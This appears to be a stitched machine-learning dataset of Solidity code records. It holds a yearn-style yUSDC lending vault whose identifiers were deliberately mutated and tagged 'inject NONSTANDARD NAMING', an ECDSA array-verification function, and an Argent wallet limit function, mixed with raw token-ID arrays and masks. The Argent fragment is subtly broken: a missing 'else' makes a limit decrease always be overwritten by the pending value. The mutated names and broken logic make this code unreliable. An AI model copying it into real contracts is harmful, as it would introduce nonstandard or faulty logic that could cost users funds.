ierc2093 public YELDTOKEN43; //inject NONSTANDARD NAMING uint256 public MAXIMUMTOKENSTOBURN49 = 50000 * 1e18; //inject NONSTANDARD NAMING uint256 public constant minimumeffectamount5 = 5 * 10 ** 18; //inject NONSTANDARD NAMING // When you stake say 1000 USDC for a day that will be your maximum // if you stake the next time 300 USDC your maximum will stay the same // if you stake 2000 at once it will increase to 2000 USDC mapping(bytes32 => uint256) public NUMBEROFPARTICIPANTS77; //inject NONSTANDARD NAMING mapping(address => Deposit) public DEPOSITS12; //inject NONSTANDARD NAMING uint256 public constant onedayinblocks19 = 6500; //inject NONSTANDARD NAMING uint256 public YELDTOREWARDPERDAY12 = 100e18; // 100 YELD per day per 1 million stablecoins padded with 18 zeroes to have that flexibility //inject NONSTANDARD NAMING uint256 public constant onemillion14 = 1e6; //inject NONSTANDARD NAMING enum Lender { NONE, DYDX, COMPOUND, AAVE, FULCRUM } Lender public PROVIDER42 = Lender.NONE; //inject NONSTANDARD NAMING constructor (address _YELDTOKEN72, address payable _RETIREMENTYELDTREASURY14) public payable erc20detailed21("yearn USDC", "yUSDC", 18) { //inject NONSTANDARD NAMING TOKEN25 = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); APR50 = address(0xdD6d648C991f7d47454354f4Ef326b04025a48A8); DYDX62 = address(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); AAVE10 = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); AAVEPOOL17 = address(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3); FULCRUM19 = address(0x493C57C4763932315A328269E1ADaD09653B9081); AAVETOKEN8 = address(0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d); COMPOUND53 = address(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643); CHAI29 = address(0x06AF07097C9Eeb7fD685c692751D5C66dB49c215); DTOKEN6 = 3; YELDTOKEN43 = ierc2093(_YELDTOKEN72); RETIREMENTYELDTREASURY39 = _RETIREMENTYELDTREASURY14; APPROVETOKEN12(); } // To receive ETH after converting it from USDC function () external payable {} function SETRETIREMENTYELDTREASURY49(address payable _TREASURY6) public ONLYOWNER61 { //inject NONSTANDARD NAMING RETIREMENTYELDTREASURY39 = _TREASURY6; } // In case a new uniswap router version is released function SETUNISWAPROUTER20(address _UNISWAPROUTER42) public ONLYOWNER61 { //inject NONSTANDARD NAMING UNISWAPROUTER94 = _UNISWAPROUTER42; } function EXTRACTTOKENSIFSTUCK53(address _TOKEN3, uint256 _AMOUNT50) public ONLYOWNER61 { //inject NONSTANDARD NAMING ierc2093(_TOKEN3).TRANSFER37(msg.sender, _AMOUNT50); } function EXTRACTETHIFSTUCK0() public ONLYOWNER61 { //inject NONSTANDARD NAMING OWNER99().transfer(address(this).balance); } function CHANGEYELDTOREWARDPERDAY13(uint256 _AMOUNT50) public ONLYOWNER61 { //inject NONSTANDARD NAMING YELDTOREWARDPERDAY12 = _AMOUNT50; } function GETGENERATEDYELDS73() public view returns(uint256) { //inject NONSTANDARD NAMING uint256 BLOCKSPASSED1; //inject NONSTANDARD NAMING if (DEPOSITS12[msg.sender].START33 > 0) { BLOCKSPASSED1 = block.number.SUB57(DEPOSITS12[msg.sender].START33); } else { BLOCKSPASSED1 = 0; } // This will work because amount is a token with 18 decimals // Take the deposit, reduce it by 1 million (by removing 6 zeroes) so you get 1 // That 1 means get 1 YELD per day (in blocks). Now multiply that 1 by 100 to get 100 YELD per day // your deposits in dai div by 1 million * by yeld to reward / 1e18 since yeldToReward is in 18 decimals to be able to provide a smaller price since // we can't go below 1 in a variable. You can't make the price 0.00001 that's why we need that 1e18 padding uint256 GENERATEDYELDS87 = DEPOSITS12[msg.sender].AMOUNT4.DIV26(onemillion14).MUL24(YELDTOREWARDPERDAY12.DIV26(1e18)).MUL24(BLOCKSPASSED1).DIV26(onedayinblocks19); //inject NONSTANDARD NAMING return GENERATEDYELDS87; } function EXTRACTYELDEARNINGSWHILEKEEPINGDEPOSIT99() public { //inject NONSTANDARD NAMING require(DEPOSITS12[msg.sender].START33 > 0 && DEPOSITS12[msg.sender].AMOUNT4 > 0, 'Must have deposited stablecoins beforehand'); uint256 GENERATEDYELDS87 = GETGENERATEDYELDS73(); //inject NONSTANDARD NAMING DEPOSITS12[msg.sender] = Deposit(DEPOSITS12[msg.sender].AMOUNT4, block.number); YELDTOKEN43.TRANSFER37(msg.sender, GENERATEDYELDS87); } function DEPOSIT43(uint256 _AMOUNT50) //inject NONSTANDARD NAMING external NONREENTRANT47 { require(_AMOUNT50 > 0, "deposit must be greater than 0"); POOL37 = CALCPOOLVALUEINTOKEN17(); ierc2093(TOKEN25).SAFETRANSFERFROM76(msg.sender, address(this), _AMOUNT50); // Yeld if (GETGENERATEDYELDS73() > 0) EXTRACTYELDEARNINGSWHILEKEEPINGDEPOSIT99(); DEPOSITS12[msg.sender] = Deposit(DEPOSITS12[msg.sender].AMOUNT4.ADD27(_AMOUNT50), block.number); // Yeld // Calculate pool shares uint256 SHARES22 = 0; //inject NONSTANDARD NAMING if (POOL37 == 0) { SHARES22 = _AMOUNT50; POOL37 = _AMOUNT50; } else { SHARES22 = (_AMOUNT50.MUL24(_TOTALSUPPLY32)).DIV26(POOL37); } POOL37 = CALCPOOLVALUEINTOKEN17(); _MINT79(msg.sender, SHARES22); } // Converts USDC to ETH and returns how much ETH has been received from Uniswap function USDCTOETH25(uint256 _AMOUNT50) internal returns(uint256) { //inject NONSTANDARD NAMING ierc2093(USDC51).SAFEAPPROVE32(UNISWAPROUTER94, 0); ierc2093(USDC51).SAFEAPPROVE32(UNISWAPROUTER94, _AMOUNT50); address[] memory PATH78 = new address[](2); //inject NONSTANDARD NAMING PATH78[0] = USDC51; PATH78[1] = WETH0; // swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) // 'amounts' is an array where [0] is input USDC amount and [1] is the resulting ETH after the conversion // even tho we've specified the WETH address, we'll receive ETH since that's how it works on uniswap // https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensforeth uint[] memory AMOUNTS56 = iuniswap2(UNISWAPROUTER94).SWAPEXACTTOKENSFORETH53(_AMOUNT50, uint(0), PATH78, address(this), now.ADD27(1800)); //inject NONSTANDARD NAMING return AMOUNTS56[1]; } // Buys YELD tokens paying in ETH on Uniswap and removes them from circulation // Returns how many YELD tokens have been burned function BUYNBURN98(uint256 _ETHTOSWAP66) internal returns(uint256) { //inject NONSTANDARD NAMING address[] memory PATH78 = new address[](2); //inject NONSTANDARD NAMING PATH78[0] = WETH0; PATH78[1] = address(YELDTOKEN43); // Burns the tokens by taking them out of circulation, sending them to the 0x0 address uint[] memory AMOUNTS56 = iuniswap2(UNISWAPROUTER94).SWAPEXACTETHFORTOKENS6.value(_ETHTOSWAP66)(uint(0), PATH78, address(0), now.ADD27(1800)); //inject NONSTANDARD NAMING return AMOUNTS56[1]; } // No rebalance implementation for lower fees and faster swaps function WITHDRAW27(uint256 _SHARES43) //inject NONSTANDARD NAMING external NONREENTRANT47 { require(_SHARES43 > 0, "withdraw must be greater than 0"); uint256 IBALANCE43 = BALANCEOF25(msg.sender); //inject NONSTANDARD NAMING require(_SHARES43 <= IBALANCE43, "insufficient balance"); POOL37 = CALCPOOLVALUEINTOKEN17(); uint256 R82 = (POOL37.MUL24(_SHARES43)).DIV26(_TOTALSUPPLY32); //inject NONSTANDARD NAMING _BALANCES15[msg.sender] = _BALANCES15[msg.sender].SUB57(_SHARES43, "redeem amount exceeds balance"); _TOTALSUPPLY32 = _TOTALSUPPLY32.SUB57(_SHARES43); emit TRANSFER22(msg.sender, address(0), _SHARES43); uint256 B30 = ierc2093(TOKEN25).BALANCEOF25(address(this)); //inject NONSTANDARD NAMING if (B30 < R82) { _WITHDRAWSOME38(R82.SUB57(B30)); } // Yeld uint256 GENERATEDYELDS87 = GETGENERATEDYELDS73(); //inject NONSTANDARD NAMING uint256 HALFPROFITS96 = (R82.SUB57(DEPOSITS12[msg.sender].AMOUNT4, '#3 Half profits sub error')).DIV26(2); //inject NONSTANDARD NAMING DEPOSITS12[msg.sender] = Deposit(DEPOSITS12[msg.sender].AMOUNT4.SUB57(_SHARES43), block.number); YELDTOKEN43.TRANSFER37(msg.sender, GENERATEDYELDS87); // Take a portion of the profits for the buy and burn and retirement yeld // Convert half the USDC earned into ETH for the protocol algorithms if (HALFPROFITS96 > minimumeffectamount5) { uint256 STAKINGPROFITS48 = USDCTOETH25(HALFPROFITS96); //inject NONSTANDARD NAMING uint256 TOKENSALREADYBURNED29 = YELDTOKEN43.BALANCEOF25(address(0)); //inject NONSTANDARD NAMING if (TOKENSALREADYBURNED29 < MAXIMUMTOKENSTOBURN49) { // 98% is the 49% doubled since we already took the 50% uint256 ETHTOSWAP53 = STAKINGPROFITS48.MUL24(98).DIV26(100); //inject NONSTANDARD NAMING // Buy and burn only applies up to 50k tokens burned BUYNBURN98(ETHTOSWAP53); // 1% for the Retirement Yield uint256 RETIREMENTYELD83 = STAKINGPROFITS48.MUL24(2).DIV26(100); //inject NONSTANDARD NAMING // Send to the treasury RETIREMENTYELDTREASURY39.transfer(RETIREMENTYELD83); } else { // If we've reached the maximum burn point, send half the profits to the treasury to reward holders uint256 RETIREMENTYELD83 = STAKINGPROFITS48; //inject NONSTANDARD NAMING // Send to the treasury RETIREMENTYELDTREASURY39.transfer(RETIREMENTYELD83); } } // Yeld ierc2093(TOKEN25).SAFETRANSFER30(msg.sender, R82); POOL37 = CALCPOOLVALUEINTOKEN17(); } function RECOMMEND99() public view returns (Lender) { //inject NONSTANDARD NAMING (,uint256 CAPR5,uint256 IAPR100,uint256 AAPR96,uint256 DAPR97) = iiearnmanager83(APR50).RECOMMEND99(TOKEN25); //inject NONSTANDARD NAMING uint256 MAX28 = 0; //inject NONSTANDARD NAMING if (CAPR5 > MAX28) { MAX28 = CAPR5; } if (IAPR100 > MAX28) { MAX28 = IAPR100; } if (AAPR96 > MAX28) { MAX28 = AAPR96; } if (DAPR97 > MAX28) { MAX28 = DAPR97; } Lender NEWPROVIDER38 = Lender.NONE; //inject NONSTANDARD NAMING if (MAX28 == CAPR5) { NEWPROVIDER38 = Lender.COMPOUND; } else if (MAX28 == IAPR100) { NEWPROVIDER38 = Lender.FULCRUM; } else if (MAX28 == AAPR96) { NEWPROVIDER38 = Lender.AAVE; } else if (MAX28 == DAPR97) { NEWPROVIDER38 = Lender.DYDX; } return NEWPROVIDER38; } function GETAAVE86() public view returns (address) { //inject NONSTANDARD NAMING return lendingpooladdressesprovider85(AAVE10).GETLENDINGPOOL88(); } function GETAAVECORE62() public view returns (address) { //inject NONSTANDARD NAMING return lendingpooladdressesprovider85(AAVE10).GETLENDINGPOOLCORE37(); } function APPROVETOKEN12() public { //inject NONSTANDARD NAMING ierc2093(TOKEN25).SAFEAPPROVE32(COMPOUND53, uint(-1)); ierc2093(TOKEN25).SAFEAPPROVE32(DYDX62, uint(-1)); ierc2093(TOKEN25).SAFEAPPROVE32(GETAAVECORE62(), uint(-1)); ierc2093(TOKEN25).SAFEAPPROVE32(FULCRUM19, uint(-1)); } function BALANCE62() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(TOKEN25).BALANCEOF25(address(this)); } function BALANCEDYDXAVAILABLE58() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(TOKEN25).BALANCEOF25(DYDX62); } function BALANCEDYDX47() public view returns (uint256) { //inject NONSTANDARD NAMING Wei memory BAL85 = dydx100(DYDX62).GETACCOUNTWEI65(Info(address(this), 0), DTOKEN6); //inject NONSTANDARD NAMING return BAL85.VALUE83; } function BALANCECOMPOUND27() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(COMPOUND53).BALANCEOF25(address(this)); } function BALANCECOMPOUNDINTOKEN38() public view returns (uint256) { //inject NONSTANDARD NAMING // Mantisa 1e18 to decimals uint256 B30 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING if (B30 > 0) { B30 = B30.MUL24(compound17(COMPOUND53).EXCHANGERATESTORED22()).DIV26(1e18); } return B30; } function BALANCEFULCRUMAVAILABLE62() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(CHAI29).BALANCEOF25(FULCRUM19); } function BALANCEFULCRUMINTOKEN93() public view returns (uint256) { //inject NONSTANDARD NAMING uint256 B30 = BALANCEFULCRUM60(); //inject NONSTANDARD NAMING if (B30 > 0) { B30 = fulcrum27(FULCRUM19).ASSETBALANCEOF38(address(this)); } return B30; } function BALANCEFULCRUM60() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(FULCRUM19).BALANCEOF25(address(this)); } function BALANCEAAVEAVAILABLE0() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(TOKEN25).BALANCEOF25(AAVEPOOL17); } function BALANCEAAVE23() public view returns (uint256) { //inject NONSTANDARD NAMING return ierc2093(AAVETOKEN8).BALANCEOF25(address(this)); } function REBALANCE91() public { //inject NONSTANDARD NAMING Lender NEWPROVIDER38 = RECOMMEND99(); //inject NONSTANDARD NAMING if (NEWPROVIDER38 != PROVIDER42) { _WITHDRAWALL34(); } if (BALANCE62() > 0) { if (NEWPROVIDER38 == Lender.DYDX) { _SUPPLYDYDX52(BALANCE62()); } else if (NEWPROVIDER38 == Lender.FULCRUM) { _SUPPLYFULCRUM48(BALANCE62()); } else if (NEWPROVIDER38 == Lender.COMPOUND) { _SUPPLYCOMPOUND47(BALANCE62()); } else if (NEWPROVIDER38 == Lender.AAVE) { _SUPPLYAAVE98(BALANCE62()); } } PROVIDER42 = NEWPROVIDER38; } function _WITHDRAWALL34() internal { //inject NONSTANDARD NAMING uint256 AMOUNT4 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING if (AMOUNT4 > 0) { _WITHDRAWSOMECOMPOUND30(BALANCECOMPOUNDINTOKEN38().SUB57(1)); } AMOUNT4 = BALANCEDYDX47(); if (AMOUNT4 > 0) { if (AMOUNT4 > BALANCEDYDXAVAILABLE58()) { AMOUNT4 = BALANCEDYDXAVAILABLE58(); } _WITHDRAWDYDX0(AMOUNT4); } AMOUNT4 = BALANCEFULCRUM60(); if (AMOUNT4 > 0) { if (AMOUNT4 > BALANCEFULCRUMAVAILABLE62().SUB57(1)) { AMOUNT4 = BALANCEFULCRUMAVAILABLE62().SUB57(1); } _WITHDRAWSOMEFULCRUM68(AMOUNT4); } AMOUNT4 = BALANCEAAVE23(); if (AMOUNT4 > 0) { if (AMOUNT4 > BALANCEAAVEAVAILABLE0()) { AMOUNT4 = BALANCEAAVEAVAILABLE0(); } _WITHDRAWAAVE10(AMOUNT4); } } function _WITHDRAWSOMECOMPOUND30(uint256 _AMOUNT50) internal { //inject NONSTANDARD NAMING uint256 B30 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING uint256 BT79 = BALANCECOMPOUNDINTOKEN38(); //inject NONSTANDARD NAMING require(BT79 >= _AMOUNT50, "insufficient funds"); // can have unintentional rounding errors uint256 AMOUNT4 = (B30.MUL24(_AMOUNT50)).DIV26(BT79).ADD27(1); //inject NONSTANDARD NAMING _WITHDRAWCOMPOUND82(AMOUNT4); } function _WITHDRAWSOMEFULCRUM68(uint256 _AMOUNT50) internal { //inject NONSTANDARD NAMING uint256 B30 = BALANCEFULCRUM60(); //inject NONSTANDARD NAMING uint256 BT79 = BALANCEFULCRUMINTOKEN93(); //inject NONSTANDARD NAMING require(BT79 >= _AMOUNT50, "insufficient funds"); // can have unintentional rounding errors uint256 AMOUNT4 = (B30.MUL24(_AMOUNT50)).DIV26(BT79).ADD27(1); //inject NONSTANDARD NAMING _WITHDRAWFULCRUM65(AMOUNT4); } function _WITHDRAWSOME38(uint256 _AMOUNT50) internal returns (bool) { //inject NONSTANDARD NAMING uint256 ORIGAMOUNT32 = _AMOUNT50; //inject NONSTANDARD NAMING uint256 AMOUNT4 = BALANCECOMPOUND27(); //inject NONSTANDARD NAMING if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCECOMPOUNDINTOKEN38().SUB57(1)) { _WITHDRAWSOMECOMPOUND30(BALANCECOMPOUNDINTOKEN38().SUB57(1)); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWSOMECOMPOUND30(_AMOUNT50); return true; } } AMOUNT4 = BALANCEDYDX47(); if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCEDYDXAVAILABLE58()) { _WITHDRAWDYDX0(BALANCEDYDXAVAILABLE58()); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWDYDX0(_AMOUNT50); return true; } } AMOUNT4 = BALANCEFULCRUM60(); if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCEFULCRUMAVAILABLE62().SUB57(1)) { AMOUNT4 = BALANCEFULCRUMAVAILABLE62().SUB57(1); _WITHDRAWSOMEFULCRUM68(BALANCEFULCRUMAVAILABLE62().SUB57(1)); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWSOMEFULCRUM68(AMOUNT4); return true; } } AMOUNT4 = BALANCEAAVE23(); if (AMOUNT4 > 0) { if (_AMOUNT50 > BALANCEAAVEAVAILABLE0()) { _WITHDRAWAAVE10(BALANCEAAVEAVAILABLE0()); _AMOUNT50 = ORIGAMOUNT32.SUB57(ierc2093(TOKEN25).BALANCEOF25(address(this))); } else { _WITHDRAWAAVE10(_AMOUNT50); return true; } } return true; } function _SUPPLYDYDX52(uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING Info[] memory INFOS35 = new Info[](1); //inject NONSTANDARD NAMING INFOS35[0] = Info(address(this), 0); AssetAmount memory AMT17 = AssetAmount(true, AssetDenomination.Wei, AssetReference.Delta, AMOUNT4); //inject NONSTANDARD NAMING ActionArgs memory ACT61; //inject NONSTANDARD NAMING ACT61.ACTIONTYPE60 = ActionType.Deposit; ACT61.ACCOUNTID6 = 0; ACT61.AMOUNT4 = AMT17; ACT61.PRIMARYMARKETID93 = DTOKEN6; ACT61.OTHERADDRESS81 = address(this); ActionArgs[] memory ARGS40 = new ActionArgs[](1); //inject NONSTANDARD NAMING ARGS40[0] = ACT61; dydx100(DYDX62).OPERATE53(INFOS35, ARGS40); } function _SUPPLYAAVE98(uint AMOUNT4) internal { //inject NONSTANDARD NAMING aave60(GETAAVE86()).DEPOSIT43(TOKEN25, AMOUNT4, 0); } function _SUPPLYFULCRUM48(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(fulcrum27(FULCRUM19).MINT37(address(this), AMOUNT4) > 0, "FULCRUM: supply failed"); } function _SUPPLYCOMPOUND47(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(compound17(COMPOUND53).MINT37(AMOUNT4) == 0, "COMPOUND: supply failed"); } function _WITHDRAWAAVE10(uint AMOUNT4) internal { //inject NONSTANDARD NAMING atoken49(AAVETOKEN8).REDEEM71(AMOUNT4); } function _WITHDRAWFULCRUM65(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(fulcrum27(FULCRUM19).BURN1(address(this), AMOUNT4) > 0, "FULCRUM: withdraw failed"); } function _WITHDRAWCOMPOUND82(uint AMOUNT4) internal { //inject NONSTANDARD NAMING require(compound17(COMPOUND53).REDEEM71(AMOUNT4) == 0, "COMPOUND: withdraw failed"); } function _WITHDRAWDYDX0(uint256 AMOUNT4) internal { //inject NONSTANDARD NAMING Info[] memory INFOS35 = new Info[](1); //inject NONSTANDARD NAMING INFOS35[0] = Info(address(this), 0); AssetAmount memory AMT17 = AssetAmount(false, AssetDenomination.Wei, AssetReference.Delta, AMOUNT4); //inject NONSTANDARD NAMING ActionArgs memory ACT61; //inject NONSTANDARD NAMING ACT61.ACTIONTYPE60 = ActionType.Withdraw; ACT61.ACCOUNTID6 = 0; ACT61.AMOUNT4 = AMT17; ACT61.PRIMARYMARKETID93 = DTOKEN6; ACT61.OTHERADDRESS81 = address(this); ActionArgs[] memory ARGS40 = new ActionArgs[](1); //inject NONSTANDARD NAMING ARGS40[0] = ACT61; dydx100(DYDX62).OPERATE53(INFOS35, ARGS40); } function CALCPOOLVALUEINTOKEN17() public view returns (uint) { //inject NONSTANDARD NAMING return BALANCECOMPOUNDINTOKEN38() .ADD27(BALANCEFULCRUMINTOKEN93()) .ADD27(BALANCEDYDX47()) .ADD27(BALANCEAAVE23()) .ADD27(BALANCE62()); } function GETPRICEPERFULLSHARE16() public view returns (uint) { //inject NONSTANDARD NAMING uint _POOL79 = CALCPOOLVALUEINTOKEN17(); //inject NONSTANDARD NAMING return _POOL79.MUL24(1e18).DIV26(_TOTALSUPPLY32); } }
inject NONSTANDARD NAMING
function BURN1(address RECEIVER66, uint256 BURNAMOUNT5) external returns (uint256 LOANAMOUNTPAID4);
7,220,401
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 605, 8521, 21, 12, 2867, 2438, 1441, 45, 2204, 6028, 16, 2254, 5034, 605, 8521, 2192, 51, 5321, 25, 13, 3903, 1135, 261, 11890, 5034, 1806, 1258, 2192, 51, 5321, 4066, 734, 24, 1769, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x3DB64E99649BEa69Ce7b3ee0d4Fe3f20FfEb6979/sources/contracts/14_ECDSA_interface_lite.sol
sig array1 - owner2 - r3 - s4 - v bytes32
function lite_verify_array(address token, bytes32 hash, address[] memory owner, uint8[] memory v, bytes32[] memory r, bytes32[] memory s) public returns (bool) { require(owner.length > 0, "Empty owner array"); bool result = true; for (uint i=0; i<owner.length; i++){ if(owner[i] != ecrecover(hash, v[i], r[i], s[i])){ result = false; break; } } if(result){ result = IERC20(token).transferFrom(msg.sender, address(this), 1); require(result, "Token transfer failed"); } return result; }
8,251,733
[ 1, 7340, 526, 21, 300, 3410, 22, 300, 436, 23, 300, 272, 24, 300, 331, 1731, 1578, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 328, 1137, 67, 8705, 67, 1126, 12, 2867, 1147, 16, 1731, 1578, 1651, 16, 1758, 8526, 3778, 3410, 16, 2254, 28, 8526, 3778, 331, 16, 1731, 1578, 8526, 3778, 436, 16, 1731, 1578, 8526, 3778, 272, 13, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 8443, 18, 2469, 405, 374, 16, 315, 1921, 3410, 526, 8863, 203, 3639, 1426, 563, 273, 638, 31, 203, 3639, 364, 261, 11890, 277, 33, 20, 31, 277, 32, 8443, 18, 2469, 31, 277, 27245, 95, 203, 5411, 309, 12, 8443, 63, 77, 65, 480, 425, 1793, 3165, 12, 2816, 16, 331, 63, 77, 6487, 436, 63, 77, 6487, 272, 63, 77, 22643, 95, 203, 7734, 563, 273, 629, 31, 203, 7734, 898, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 309, 12, 2088, 15329, 203, 5411, 563, 273, 467, 654, 39, 3462, 12, 2316, 2934, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 404, 1769, 203, 5411, 2583, 12, 2088, 16, 315, 1345, 7412, 2535, 8863, 203, 3639, 289, 203, 3639, 327, 563, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x5094a8f54B12AEc540bF7cCd0Dd7B62f4FecF7f2/sources/Users/Elena/Source/argent-contracts/contracts/modules/common/LimitUtils.sol
* @notice Changes the daily limit (expressed in ETH). Decreasing the limit is immediate while increasing the limit is pending for the security period. @param _lStorage The storage contract. @param _versionManager The version manager. @param _wallet The target wallet. @param _targetLimit The target limit. @param _securityPeriod The security period./
{ ILimitStorage.Limit memory limit = _lStorage.getLimit(_wallet); uint256 currentLimit = currentLimit(limit); ILimitStorage.Limit memory newLimit; if (_targetLimit <= currentLimit) { uint128 targetLimit = safe128(_targetLimit); newLimit = ILimitStorage.Limit(targetLimit, targetLimit, safe64(block.timestamp)); newLimit = ILimitStorage.Limit(safe128(currentLimit), safe128(_targetLimit), safe64(block.timestamp.add(_securityPeriod))); } setLimit(_versionManager, _lStorage, _wallet, newLimit); return newLimit; }
9,255,244
